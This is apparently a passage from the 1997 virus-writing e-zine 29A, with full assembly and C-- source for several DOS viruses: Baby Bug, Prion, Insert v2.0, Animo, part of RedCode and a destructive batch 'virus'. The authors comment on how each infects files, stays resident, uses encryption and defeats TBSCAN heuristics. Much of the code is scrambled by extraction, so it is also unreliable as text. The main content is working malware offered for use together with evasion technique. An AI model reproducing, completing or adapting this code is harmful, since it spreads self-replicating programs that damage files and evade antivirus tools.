byte ptr cs:[seg_xpos],al not_himmler byte ptr cs:[seg_ypos],dl not_himmler himmlerdied

cmp jnz cmp jnz jmp not_himmler2nd: ret

byte ptr cs:[Spe_posx],al not_himmler2nd byte ptr cs:[spe_posy],dl not_himmler2nd himmlerdied

not_gasso:

not_himmler:

gassodied:

lea mov jmp himmlerdied:lea mov himmlermid: push pop

si, himmler bx,2h himmlermid si, gasso bx,36h cs ds

mov call call jmp

dx,0701h set_cursor write $

; ********** DATA ********** Spe_posx: Spe_posy: prim_xpos: prim_ypos: prim_at_x: prim_at_y: seg_xpos: seg_ypos: atta_x2: atta_y2: text1: text2: text3: text4: text5: gasso: himmler:

db db db db db db db db db db db db db db db db db

entrada: jmptous: buffer: its_name:

0 ; First zone is for the payload 0 0 0 0 0 0 0 0 0 'Viral RedCode Implant',0 'Today''s contest between',0 'Big Butt Gasso',0 'and',0 'Himmler Fewster',0 'BIIIIIIG BUTT GASSSOOOO... WINSSSSS !!!',0 'FEWSTER BANSSSSS GASSSSOOOOOOOO !!!',0

encrend

db 51h,59h db 0e9h,?,? db 51h,59h,90h,0cdh,20h db 'The RedCode virus by Wintermute/29A; yeah, not a kickass ' db 'at all, but with a funny payload, don''t you agree ?',0 db 'Watch the payload !' label byte

salto: int21h:

db dw

0eah 0,0

callint21:

pushf call ret

dword ptr cs:[int21h]

int24handler: mov iret

al,3

xor call push pop xor mov mov call

si,si encrypt cs ds dx,dx cx,virus_size ah,40h callint21

aporesaguarra:

call ret

encrypt

lea mov xor inc loop ret

di,encrstart+si cx,encrypt_size byte ptr cs:[di],0feh di xor_loop

encrypt:

xor_loop:

virus_end

label byte

non_copied: mov ret

word ptr encrstart-2+si, encrypt-encrstart

codigo ends end realstart

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

BonusTrack ÄÄÄÄÄÄÄÄÄÄ And finishing this, I wanted to give an oportunity to my friend Christian; the oportunity of publishing a virus in this place of 29A: I told him, I can publish your virus in 29A ! And so I do, returning to my master in virus writing all I debt him, giving him my most sincerely thanks for being my master in viruswriting, the light that iluminated the way on my first steps making a Com non-tsr and that has brought me to the vast knowledge with his impressive wisdom. Here it is, his most important creation; works under Win95/NT ( suppose ), Ms-dos, Win3.1 in an Ms-dos window, and I dunno if Linux and Os/2 have that kind of windows, but... 100% destructive, of course. Doesn't have polymorphism cause it doesn't need it, and it's stealth "after-execution", autodesinfecting itself when run. Here you are...

=== Cut INSTALL.BAT === echo off :main cls echo. echo. echo Beware !!!!!!, this is a virus. Your Personal Computer has been echo infected by Cyberkurdt's sublime virus, PCVIRUS; the first spanish echo virus completely made on EDIT, compatible within Dos, Windows, Win95, echo and maybe in a DOS OS2 Window... echo This virus presents some characteristics as multiple encryption, echo some loop, /\/\egak00l interrups access, kewl&kickass formatting and echo and self-disinfection. pause goto loop :encrypt Encryption a=! b=" j=/ k=^ r=& s=R

c=% l=t=I

d=& m=u=:

e=) n=€ v=;

f=? ¤=" w=¥

g:¨ o=! x=>

h=" p=ú y=<

i=& q=% z=ª

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

€!ú)/!&!R($)%$=%ú=$)ú$)"ú"!=ú"=ú"?!ú=!?$^P^!"ú/(ú$/"ú"ú#@||\$/$($($(")ú"!ú) %(&ú$)%"=$ú!"=$!"?ú!"ú=ú")$ú(%$$ú/I%%&%&/$%$ú%("$"ú($)"!ú)!"ú=!"ú")$"(ú$(") ª#@#@|#@#@|@###@##%)$)%$ú¥^*-¥:;;>;Z>::Zú>-Z#>X>Z<-zx'X:>Z>Xz@<0x
=== Cut ===

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

Baby Bug by Tcp/29A

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

Because in 29A#2 it wasn't going to be published any virus originally written by me and i did not like that, taking advantage of a little last-hour delay in the release of the magazine and of a rainy afternoon i decided to code this little virus. It is a 407 byte-long TSR EXE infector, which uses a pretty unusual code in order to process the EXE header... and this code, as you may imagine, takes less bytes than the standard one :)

Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄ tasm /m babybug.asm tlink babybyg.obj

VIRUS_SIZE VIRUS_MEM_SIZE VIR_PARAG start: delta_ofs

.286 baby assume org

segment cs:baby, ds:baby, es:baby, ss:baby 0

= = =

end_virus - start memsize - start (VIRUS_MEM_SIZE + 15) / 16 + 1

equ mov push push mov add add add mov int cmp je mov dec mov mov sub mov int mov mov int mov push pop xor mov rep push push retf

word ptr $+1 si,0 ds es ax,ds ax,10h cs:[si+f_relocs],ax cs:[si+f_reloss],ax ax,0BAB1h 21h ax,0BA03h exec_host ax,ds ax ds,ax bx,ds:[0003] bx,VIR_PARAG+1 ah,4Ah 21h ah,48h bx,VIR_PARAG 21h es,ax cs ds di,di cx,VIRUS_SIZE movsb es offset(mem_copy)

; mov si,delta_ofs

; Relocate host CS & SS ; Resident check ; Already resident? ; Yes? then jmp

; Adjust current block

; Get memory

; Copy virus to allocated mem

db

'[Baby Bug, Tcp/29A]'

push pop dec mov mov mov int mov mov mov mov int

cs ds ax es,ax word ptr es:[0001],8 ax,3521h 21h [di],bx [di+2],es dx,offset(vir_21h) ah,25h 21h

pop pop cli db dw pop equ mov sti db dw dw

es ds

mem_copy:

; DOS MCB ; Read int 21h ; Store it ; Virus int 21h

exec_host:

f_reloss f_exesp

f_exeip f_relocs

68h 0FFF0h ss word ptr $+1 sp,offset(memsize)

; push f_reloss

0EAh 0 0FFF0h

; jmp host entry point

cmp jne

ax,0BAB1h check_exec

; Resident check? ; No? then jmp

mov iret

al,3

cmp je jmp

ax,4B00h process_file jmp_real_21

pusha push push mov int push push mov push push push push pop mov int pop pop mov push int pop

ds es ax,3524h 21h es bx ah,25h ax ds dx cs ds dx,offset(int_24h) 21h dx ds ax,4300h ax 21h ax

; mov sp,f_exesp

vir_21h:

int_24h:

check_exec: ; Exec file? ; Yes? then jmp

process_file:

; Read int 24h

; Set virus int 24h

; Read file attributes

inc push push push push xor int jnc

ax ax cx ds dx cx,cx 21h open_file

jmp

restore_attr

mov int jc xchg push pop push pop mov int push push push mov mov mov int mov stc lodsw cmp je cmp jne

ax,3D02h 21h jmp_r_attr ax,bx cs ds cs es ax,5700h 21h ax cx dx ah,3Fh dx,offset(file_header) cx,18h 21h si,dx

; Reset file attributes

jmp_r_attr: open_file:

ax,'MZ' infect_exe ax,'ZM' jmp_r_datetime

; Open file I/O

; Get file date/time

; Read file header

; ; ; ; ;

Signature EXE? Yes? then jmp EXE? Yes? then jmp

infect_exe: lodsw xchg lodsw or jz dec

; Part page ax,bp ; Number of 512 bytes pages bp,bp no_sub_page ax

no_sub_page: mov mul add adc push push lodsw lodsw xchg lodsw lodsw mov movsw scasw movsw scasw lodsw movsw xchg lodsw

cx,512 cx ax,bp dx,0 ax dx

; Calculate file size ; Save it ; Relocation items ; Header size

ax,bp ; Min. memory ; Max. memory di,offset(f_reloss) ; ; ; ; ; ;

SS DI+2 SP DI+2 checksum IP

ax,dx ; CS

stosw cmp pop pop je push push push mov xor cwd int pop pop cmp pop

ax,dx dx ax restore_datetime bp ax dx ax,4202h cx,cx

; checksum == CS? infected?

21h cx bp ax,bp bp

; Lseek end of file

restore_datetime dx,cx restore_datetime ax dx cx,16 cx ax,bp

; Yes? then jmp ; Overlays? ; Yes? then jmp

; Yes? ten jmp

; Overlays?

jmp_r_datetime: jne cmp jne push push mov div sub std mov scasw stosw xchg stosw mov xchg stosw xchg mov stosw xchg stosw cmpsw cmpsw cmpsw cmpsw pop pop add adc mov div or jz inc

; Calculate virus CS, IP

di,si ; CS ax,dx ; IP delta_ofs,ax ax,dx ; Checksum = CS (infection mark) ax,dx ax,VIR_PARAG*16

; SP

ax,dx ; SS ; hey! SUB DI,8 is only 3 bytes long, but it ; doesn't roq... :)

dx ax ax,VIRUS_SIZE dx,0 cx,512 cx dx,dx no_inc_pag ax

; Calculate number of pages

no_inc_pag: stosw xchg stosw mov cwd mov int jc mov mov

; Number of pages ax,dx ; Bytes in last page ah,40h cx,VIRUS_SIZE 21h restore_datetime ax,4200h cx,dx

; Append virus body to file

int mov mov mov int restore_datetime: pop pop pop inc int mov int restore_attr: pop pop pop pop int pop pop pop int pop pop popa jmp_real_21: db end_virus: ofs_i21 dw seg_i21 dw file_header: signature part_page pages relo_items hdrsize mim_mem max_mem reloss exesp checksum exeip relocs

dw dw dw dw dw dw dw dw dw dw dw dw

21h ah,40h dx,di cx,18h 21h dx cx ax ax 21h ah,3Eh 21h dx ds cx ax 21h ax dx ds 21h es ds

0EAh ? ?

? ? ? ? ? ? ? ? ? ? ? ?

memsize: baby

ends end

start

; Baby Bug, by Tcp/29A ; (c) 1997, Tcp/29A ([email protected])

; Lseek begin of file

; Write new header to file

; 5701h ; Restore date & time ; Close file

; Restore attributes

; Restore int 24h

; jmp to int 21h

comment * Prion Code by Darkman/29A

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

Prion is a 313 bytes parasitic direct action new executable DLL/EXE virus. Infects every file in current directory, when executed, by searching for an area, the size of the virus, of constant bytes and overwrites the area with the virus. Prion has an error handler. I would like to thank Grog for the idea to this virus and Heuristic/29A for helping me finish it. To compile Prion with Turbo Assembler v 4.0 type: TASM /M PRION.ASM TLINK /x PRION.OBJ EXE2BIN PRION.EXE PRION.COM * .model tiny .code code_begin: call delta_offset: pop sub

delta_offset bp ; Load BP from stack bp,(offset delta_offset-code_begin)

cli push pop

cs ss

; Clear interrupt-enable flag ; Save CS at stack ; Load SS from stack (CS)

mov and sti

sp,bp ; SP = delta offset sp,1111111111111110b ; Set interrupt-enable flag

push

ax

; Save AX at stack

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

mov lea int

ax,2524h ; Set interrupt vector 24h dx,[bp+int24_virus] ; DX = offset of int24_virus 21h

mov lea int

ah,1ah ; Set disk transfer area ddress dx,[bp+dta] ; DX = offset of dta 21h

mov mov lea find_next: int jnc

ah,4eh ; Find first matching file cl,00100111b ; CL = file attribute mask dx,[bp+file_specifi]

pop int infect_file: mov lea

ax 21h

21h infect_file

; No error? Jump to infect_file ; Load AX from stack

ax,3d00h ; Open file (read) dx,[bp+filename] ; DX = offset of filename

int xchg jc

21h ax,bx close_file

mov int

ax,1220h 2fh

push mov mov int pop

bx ax,1216h bl,es:[di] 2fh bx

mov

byte ptr es:[di+02h],02h

mov mov

ax,es:[di+28h] cl,es:[di+2ah]

; AX = extension of the file ; CL = " " " "

cmp jne cmp je

ax,'LD' test_exe cl,'L' read_header

; DLL executable? ; Not equal? Jump to test_exe ; DLL executable? ; Equal? Jump to read_header

ax,'XE' close_file cl,'E' close_file

; ; Not ; ; Not

; BX = file handle ; Error? Jump to close_file ; Get system file table number

; Save BX at stack ; Get address of system FCB ; BL = system file table entry ; Load BX from stack

test_exe: cmp jne cmp jne read_header: mov mov lea int mov mov

EXE executable? equal? Jump to close_file EXE executable? equal? Jump to close_file

ah,3fh ; Read from file cx,40h ; Read sixty-four bytes dx,[bp+file_header] ; DX = offset of file_header 21h si,dx ax,[si]

; SI = offset of file_header ; AX = EXE signature

xor jz xor jnz test_new_exe: cmp jae close_file: mov int

ax,'MZ' ; Found EXE signature? test_new_exe ; Zero? Jump to test_new_exe ax,('ZM' xor 'MZ') ; Found EXE signature? close_file ; Not zero? Jump to close_file

ah,3eh 21h

; Close file

mov jmp test_stack: mov mul add adc jnz

ah,4fh find_next

; Find next matching file

or jz test_stack_: cmp jb cmp jb

ax,ax ; No stack? calc_header ; Zero? Jump to calc_header

[si+18h],cl test_stack

; New executable? ; Above or equal? Jump to test_stack

ax,10h ; Multiply initial SS relative to ... word ptr [si+0eh] ; DX:AX = initial SS relative to s... ax,[si+10h] ; DX:AX = pointer to the stack dx,00h ; " " " " " " test_stack_ ; Not zero? Jump to test_stack_

ax,[si+3ch] close_file dx,[si+3eh] close_file

; ; ; ;

Stack placed in new executable ...? Below? Jump to close_file Stack placed in new executable ...? Below? Jump to close_file

calc_header: mov mul

ax,10h ; Multiply header size in paragrap... word ptr [si+08h] ; DX:AX = header size

mov mov

es:[di+15h],ax es:[di+17h],dx

; Move file pointer to end of header ; " " " " " " "

sub sbb

ax,[si+3ch] dx,[si+3eh]

; DX:AX = pointer to end of header ; " " " " " " "

neg dec jnz

dx dx close_file

lea cmp jbe

dx,[bp+file_buffer] ; DX = offset of file_buffer ax,dx ; DOS stub too large? close_file ; Below or equal? Jump to close_fi...

neg push xchg

ax ax cx,ax

; Negate AX ; Save AX at stack ; CX = bytes to read from file

mov int

ah,3fh 21h

; Read from file

std dec mov add lodsb xchg search_const: lodsb cmp jne loop pop close_file_: jmp test_opcode: pop

cx si,dx si,cx ax,dx

; Negate DX ; Decrease DX ; Not zero? Jump to close_file

; Set direction flag ; Decrease CX ; SI = offset of file_buffer ; SI = offset of end of file_buffer ; AL = first byte of file_buffer ; DL = " " " "

; AL = byte of file_buffer al,dl ; Equal to first byte of file_buffer? test_opcode ; Not equal? Jump to test_opcode search_const ax

; Load AX from stack

close_file ax

; Load AX from stack

cmp jne

[si],0010000111001101b close_file ; INT 21h (opcode 0cdh,21h)? Jump ...

dec dec sub

cx cx ax,cx

mov cmp jb

cx,(code_end-code_begin) ax,cx ; Enough constant bytes in file? close_file ; Below? Jump to close_file

sub sbb

es:[di+15h],ax ; Move file pointer to offset of v... word ptr es:[di+17h],00h

mov mov int

ah,40h dx,bp 21h

mov

ax,5701h

; Decrease CX ; " " ; AX = offset of virus within file

; Write to file ; DX = delta offset

; Set file's date and time

mov mov int

cx,[bp+file_time] dx,[bp+file_date] 21h

jmp

close_file_

int24_virus proc near mov al,03h iret endp file_specifi virus_name virus_author code_end: dta: db file_attr file_time file_date filesize filename file_buffer: file_header end

; CX = file's time ; DX = file's date

; Interrupt 24h of Prion ; Fail system call in progress ; Interrupt return!

db db db

'*.*',00h '[Prion] ' '[Darkman/29A] '

db dw dw dd db

15h dup(?) ? ? ? ? 0dh dup(?)

db

40h dup(?)

code_begin

; ; ; ; ;

; File specification ; Name of the virus ; Author of the virus

Used by DOS for find next-process File attribute File time File date Filesize ; Filename ; File header

comment * Insert v 2.0 Code by Darkman/29A

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

Insert v 2.0 is a 292 bytes parasitic resident COM infector. Infects files at write to file by prepending the virus to the infected file. Insert v 2.0 has an 8-bit exclusive OR (XOR) encryption in file. To compile Insert v 2.0 with Turbo Assembler v 4.0 type: TASM /M INSERT20.ASM TLINK /t /x INSERT20.OBJ * .model tiny .code org 100h code_begin: lea push

; Origin of Insert v 2.0

di,crypt_begin ; DI = offset of crypt_begin di ; Save DI at stack

xor_cryptor proc near ; 8-bit XOR encryptor/decryptor mov cx,(crypt_end-crypt_begin) crypt_loop: crypt_key equ byte ptr $+02h ; 8-bit encryption/decryption key xor byte ptr [di],00h ; 8-bit XOR encrypt/decrypt inc di ; Increase index register loop crypt_loop ret endp crypt_begin: mov dec mov

; Return!

di,ds di ds,di

; DI = segment of PSP for current ... ; DI = segment of current Memory C... ; DS = " " " " "

xor cmp jne mov sub sub mov

di,di ; Zero DI byte ptr [di],'Z' ; Last block in chain? virus_exit ; Already resident? Jump to virus_... byte ptr [di],'M' ; Not last block in chain word ptr [di+03h],(data_end-code_begin+0fh)/10h word ptr [di+12h],(data_end-code_begin+0fh)/10h es,[di+12h] ; ES = segment of the virus

push pop

cs ds

cld lea mov rep

; Clear direction flag si,mcb ; SI = offset of mcb cl,(mcb_end-mcb)/02h movsw ; Move Memory Control Block (MCB) ...

lea mov rep

si,code_begin ; SI = offset of code_begin cl,(code_end-code_begin)/02h movsw ; Move the virus above Memory Cont...

mov lea mov movsw

ds,cx ; DS = segment of interrupt table di,int21_addr-0f0h ; DI = offset of int21_addr si,(21h*04h) ; SI = offset of interrupt 21h ; Get interrupt vector 21h

; Save CS at stack ; Load DS from stack (CS)

movsw mov mov virus_exit: mov

;

" " " " word ptr [si-04h],offset int21_virus-0f0h [si-02h],es ; Set interrupt vector 21h es,cx

; ES = segment of interrupt table

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

lea mov mov rep

si,restore ; SI = offset of restore di,4f0h ; DI = offset of Intra-Application... cl,(restore_end-restore) movsb ; Move the restore procedure to in...

push pop

cs es

lea lea sub

si,code_end ; SI = offset of code_end di,code_begin ; DI = offset of code_begin cx,si ; CX = number bytes to restore

push push

cs di

; Save CS at stack ; Save DI at stack

db dd

0eah 004000f0h

; JMP imm32 (opcode 0eah) ; Address of Intra-Application Com...

; Save CS at stack ; Load ES from stack (CS)

int21_virus proc near ; Interrupt 21h of Insert v 2.0 cmp ah,40h ; Write to file? je infect_file ; Equal? Jump to infect_file int21_exit: db 0eah ; JMP imm32 (opcode 0eah) int21_addr dd ? ; Address of interrupt 21h endp infect_file: push ax cx dx di si ds es mov int

ax,1220h 2fh

push mov mov int pop

bx ax,1216h bl,es:[di] 2fh bx

cmp jne

word ptr es:[di+11h],00h infect_exit ; Filesize too large? Jump to infe...

cmp jne cmp jne

word ptr es:[di+28h],'OC' infect_exit ; COM executable? Jump to infect_exit byte ptr es:[di+2ah],'M' infect_exit ; COM executable? Jump to infect_exit

cld mov lodsw cmp je xor jz xor

; Get system file table number

; Save BX at stack ; Get address of system FCB ; BL = system file table entry ; Load BX from stack

; Clear direction flag ; SI = offset of buffer for data ; AX = EXE signature ax,0000111010111111b infect_exit ; Already infected? Jump to infect... si,dx

ax,'ZM' ; Found EXE signature? infect_exit ; Zero? Jump to infect_exit ax,('MZ' xor 'ZM') ; Found EXE signature?

jz

infect_exit

xchg cmp jb cmp ja

ax,cx ; AX = number of bytes to write ax,(code_end-code_begin)*02h infect_exit ; Filesize too small? Jump to infe... ax,0fefah-(code_end-code_begin) infect_exit ; Filesize too large? Jump to infe...

push pop get_rnd_num: in

; Zero? Jump to infect_exit

cs es

; Save CS at stack ; Load ES from stack (CS)

al,40h

; AL = 8-bit random number

or jz

al,al ; Weak encryption/decryption key? get_rnd_num ; Zero? Jump to get_rnd_num

push pop

cs ds

mov

[crypt_key-0f0h],al ; Store encryption/decryption key

mov lea lea push rep

cx,(code_end-code_begin) di,code_end-0f0h ; DI = offset of code_end si,code_begin-0f0h ; SI = offset of code_begin cx di ; Save registers at stack movsb ; Create a copy of the virus

lea call

di,code_end-0e2h xor_cryptor

mov pop pushf call infect_exit: pop jmp

; Save CS at stack ; Load DS from stack (CS)

; DI = offset of code_end + crypt_...

ah,40h dx cx

; Write to file ; Load registers from stack ; Save flags at stack [int21_addr-0f0h] es ds si di dx cx ax int21_exit

; The restore procedure is moved to the Intra-Application Communications ; Area (ICA) at address: 0040:00F0. It is much more secure to use than fx. the ; "hole" above the Interrupt Vector Table (IVT). Still the Intra-Application ; Communications Area (ICA) is not secure enough to place an interrupt ; handler. restore proc near ; Restore the infected file rep movsb ; Move the original code to beginning mov retf endp restore_end: mcb db dw dw db mcb_end: virus_name db virus_author db crypt_end: code_end: db virus_end:

di,cx

; Zero DI ; Return far!

'Z' ; Last block in chain 08h ; Memory Control Block (MCB) belon... (virus_end-code_begin+0fh)/10h 00h,00h,00h,'SC',06h dup(00h) ' [Insert v 2.0]' ' [Darkman/29A] '

; Name of the virus ; Author of the virus

(code_end-code_begin) dup(90h)

db

(mcb_end-mcb) dup(90h)

int

20h

data_end:

end

code_begin

; Terminate program!

/*****( Animo virus description )********************************************** ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ Virus name : Animo ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ Author : Rajaat / 29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ Origin : United Kingdom, January 29th ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ Compiling : Using Sphinx C-- (with XFILE pack) ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ C-- ANIMO This is a bit kind of special language, you can download it and the additional XFILE pack (which contains the lseek function) from the official Sphinx C-- site (it is written by Peter Cellik) which is located at http://www.geocities.com/SiliconValley/Vista/3559 Targets : COM files (yuck!) Infects on : Runtime, files in the current directory (even more yuck!) Size : 518 bytes (impressive for the language, I love it!) Resident : No Polymorphic : No Encrypted : No Stealth : File date/time, but no critical error handler Tunneling : No Retrovirus : No Antiheuristics: Yes, targetted against TBSCAN, which gives zero flags Armor : No Payload : No Trigger : None Peculiarities : Written in Sphinx C-- is peculiar, I think, and a good start too. Works only on 80386+ (so?) Drawbacks : I don't know yet, this language happens to be so flexible that you certainly can do a lot more than just COM files, I'm now doing experiments with a multipartite virus already ;-) Bugs : Not that I am aware of... Behaviour : When an infected file is executed the virus will receive control with a near jump to its code located at the start of the file. Then it will get the entry point in SI by calling to the next line (a call is relative) and pop the return address (which is an absolute value) and substract the original located address of get_offset, effectively getting the difference of where the original compiled code is located and the now running code. For some reason unknown to me this doesn't alert TBSCAN, which could spot entrypoints calls with ease and flag like shit. Norman is really fucking up TBSCAN for good... A shame. Well, after it gets the entrypoint it will call to the start_replication() function. That subroutine will first rebuild the first 4 bytes of the infected COM file, so that it can be run again, after the virus is ready doing its work. Then it sets the DTA to the memory location where the virus in memory ends. The next line is some antiheuristic code for TBSCAN, it changes the "*.ZOM" search spec into "*.COM" (TBSCAN would flag on COM so this little change shuts down one flag). Then it will search for COM files with no attributes set in the current directory. If such file is found, it will temporarily store the search spec to "*.ZOM" again. Then it calls the function infect() with a pointer to the filename returned in the DTA as parameter. infect() will open the file in read/write mode and if the open succeeded it will read the first 4 bytes of the file into a small buffer. If the 4th byte is an ! it will assume that the file is already infected and will skip it. Then it will check if the opened file has an EXE header. This is done in an antiheuristic fashion. If the file is indeed a COM file, it seek to

the end of the file. If the filesize is larger than 0x100 bytes (convert them yourself, weenie!) and smaller than 0xF000 (don't you have some calculator?), it will proceed with the infection. It then calculates the relative offset for the JMP instruction that will be placed at the start of the file. Then it will get the file date/time stamp and push it on the stack. After that it will load it's registers with the correct data and writes it's image at the end of the file. Then it jump back to the start of the file and will write the near jump to the virus code and the infection marker (!). When finished, it will restore the file date/time stamp and close the file. The routine to restore the date/time is also done antiheuristically and is so simple that I am amazed that TBSCAN fell for that old-hat trick. After infecting a file, it will search for the next file to infect, until all the files in the current directory are infected. The virus sets the DTA back to the normal address (0x80, which is 0x100 >> 2 or 0x100 / 2, whatever you like most, it's half of it). It then pushes its return address (0x100, you already calculated this one) in some antiheuristic (blah) way on the stack, clears the AX register and returns control to the host, which runs like normal (unless it has some self check or when started with some oldsmobile). Sara Ford..... sounds like Science Fiction to me (those Capitals, are they Hidden Pictures or Some Message?) Note

: I know that this is a simple COM infector and below standard, but this can be seen as a simple test to check out for myself if C-- is a convenient language and if it was possible to use for some more complex idea I initially had in mind with Borland C++, of which you also can get the source code on the first 2 versions (a direct action appending COM infector and a MCB resident appending COM infector). And yes, I think it is possible to bend C-- to my own twisted desires (oh, I have played Pandemonium 2 a bit too often lately, I fear). Well, the actual story how I came to write a virus in the peculiar language is like this: two days ago I found this program on some homepage (see above) by accident, while using a search engine to help me getting a C front-end for NASM, the Netwide ASseMbler, which is really a great Assembler, which I will try to use in the future L:-o-P-< (Elvis Lives!). Yesterday I started my first experiments in C-- to learn a bit how the language works. Since I know both how to handle C and Assembler (and some others like Pascal, that are not worthwile mentioning here), and now my first virus written in this language lies in front of you! You can see from the source, that it is *VERY* flexible and if properly used, you can build really complex viruses with this, using the easy of C and the power of Assembler (btw, have you noticed that I write the word Assembler with a Capital A? Would this have a hidden meaning? Some Complex Code? A Secret Message? No, it's just my Language Worshipping Mood again &-! By the way, the virus compiles very small, it's a very good compiler, and although writing in assembler still creates much tighter code, I think this language is worth a try. You can shorten code much by using register functions (try getting most of the

return codes into the AX register, so you don't need the return code, which takes one extra "ret" code, even when returning with a fixed value). I hereby would like to show my gratitude to Peter Cellik for writing such a wonderful language, although I would like to see some things added, like: o o o

structures unions functions that generate no code at all (not even the IRET) the possibility to do some AND operation in if statements, like:

o

if ((filesize > 0x100) && (filesize < 0xf000)) instead of this crummy way (although they probably would generate the same thing, but I think the above one is preferred and look more clean to me): if (filesize > 0x100) if (filesize < 0xf000) o

doing some more complex calculations, which now have to be broken up in parts, like: cx = (cyl << 8 | sector) | (cyl & 0x300 >> 2); CX = cx; or even better: CX = (cyl << 8 | sector) | (cyl & 0x300 >> 2); instead of having to do manipulations like this, which look not very readable to me: cx = cyl << 8 | sector; cx |= cyl & 0x300 >> 2; CX = cx; Or another example: word virus_sectors() { AX = virus_bytes() / 512 + 1; } instead of: word virus_sectors() { AX = virus_bytes() / 512; AX++; }

Anyway, as a little token of my gratitude to Peter Cellik, I will post a litte part of his documentation in here: "3.4

ABUSES

Anyone with a mischievous mind (most people do) can

think of some not so nice ways of using this function. The most obvious of which would be the creation of trojan horses. I WOULD LIKE TO POINT OUT THAT THIS IS NOT A CONSTRUCTIVE USE OF C-- AND ANY DESTRUCTIVE USE OF COM FILE SYMBIOSIS IS PROHIBITED. In other words, don't be a jerk. " Well, I think I am no jerk, since I don't have to use that "feature" :-). Anybody who wants to write viruses in this language are also kindly asked to support Peter Celliks idea of GREENWARE. To cite: "THE PRICE: ~~~~~~~~~~ This version of C-- is GREENWARE, and you are free to use it so long as you make an effort everyday to help out the environment. A few ideas: -

use only recycled computer paper be sure to recycle the computer paper after you use it use public transport sell that 80 cylinder car of yours and buy a small 4 cylinder, or better yet, buy a motorbike support Green Peace REDUCE-REUSE-recycle stop smoking ride a bike to work or school don't buy products that are harmful to the environment stop using weed killers on your lawn support Friends of the Earth recycle your cans don't buy products that have lots of extra packaging use a fax modem instead of a paper fax machine reuse your plastic bags (you get the idea) "

Well, I think he has some great ideas there, in the progress of writing viruses, I waste tons of paper, I don't have a lawn, so I don't need weed killer anyway, all my trash gets recycled already, I have access to a HP Officejet LX, and I don't use plastic bags cut a more robust one. But one can go too far, Peter. I won't quit smoking, you never can convince me not going to Spain with Darkman by car (although I am scared by thinking of abandoning the "left hand path", and sure as hell I would not support a group of terrorists that plum a seal for a picture to shock people. I do not believe in the "can't make an omelette without breaking a few eggs" attitude. Fuck Green Peace! Though trying to stop French nuking is ok :-). Well, can I codes virus

the comments are longer than the source, what else say, enjoy! By the way, those pieces of example of my wishlist above are code snippets for my next in C--.

Rajaat / 29A [email protected] http://www.geocities.com/SiliconValley/Vista/7227 (I know, it's outdated, I hope to update it soon, a new page is in the making) Don't forget to take a look at these sites:

http://www.geocities.com/SiliconValley/Vista/3559 http://www.cryogen.com/Nasm http://www.x86.org *****( Results with antivirus software )*************************************** TBSCAN F-PROT F-PROT /ANALYSE F-PROT /ANALYSE /PARANOID

-

Doesn't Doesn't Detects Detects

detect it detect it (yet) it it (wow, genius)

*****( Greetings )************************************************************* I hereby would like to take the opportunity to greet a few people: -

the rest of the 29A people (it is great to work with you people) the unforgiven and metal militia (heroes in the snow!) z0mbie (ShadowRAM Technology rocks!) [sm] (RT got quite some attention I heard!) owl[fs] (still breeding some ideas?) retch (MP3 CD? ;-) bds (hiya!) antigen and priest (when will I hear from you guys again?) rhincewind (someday I'll be able to contact you again... I hope) trigger (don't SLAM that door so hard, will ya?) spicy impregnator (no taste) qark & quantum (get back to work) metabolis (I miss your remarks) raid (ASIC is fun, but not my idea of ideal virus language, you won't get much farther than a direct action generic prepending infector)

If anybody feels left out who deserves to get greeted by me can paste their name between to two lines for *FREE* inclusion: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ hahahahahahahahahahahahahaha die trying! *****( Start of the virus code )**********************************************/ ? ? ? ?

resize FALSE jumptomain NONE codesize alignword FALSE

// // // //

No memory resizing No jumps to main procedure Optimize code for size Align word on even offset set to off

? include "dos.h--" ? include "xfile.h--"

// Use DOS functions // And now new extended functions (LSEEK)

byte virus_end;

// Last Data Item

